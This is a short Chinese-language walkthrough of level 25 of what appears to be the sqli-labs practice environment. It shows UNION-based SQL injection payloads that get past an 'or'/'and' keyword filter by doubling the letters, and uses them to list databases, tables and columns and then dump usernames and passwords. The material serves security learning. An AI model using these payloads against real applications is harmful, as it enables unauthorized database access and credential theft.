25關

原始碼分析
發現閉合點是的單引號
將or和AND替換成了空格
然後我們就來思路了，我們可以使用聯合查詢還有報錯查詢

一、判斷注入點

二、判斷列數

發現很直觀的把我們的or給過濾掉了
我們試試雙寫
三、構造payload

?id=-1' union select 1,2,3--+

1.爆庫、

?id=-1' union select 1,group_concat(schema_name),3 from infoorrmation_schema.schemata --+ 

由於information中間也有一個or，所以說也得雙寫
2.爆表

?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema="security"--+ 

3.爆欄位

?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name="users"--+ 

4.爆資料

?id=-1' union select 1,group_concat(username,0x5c,passwoorrd),3 from users --+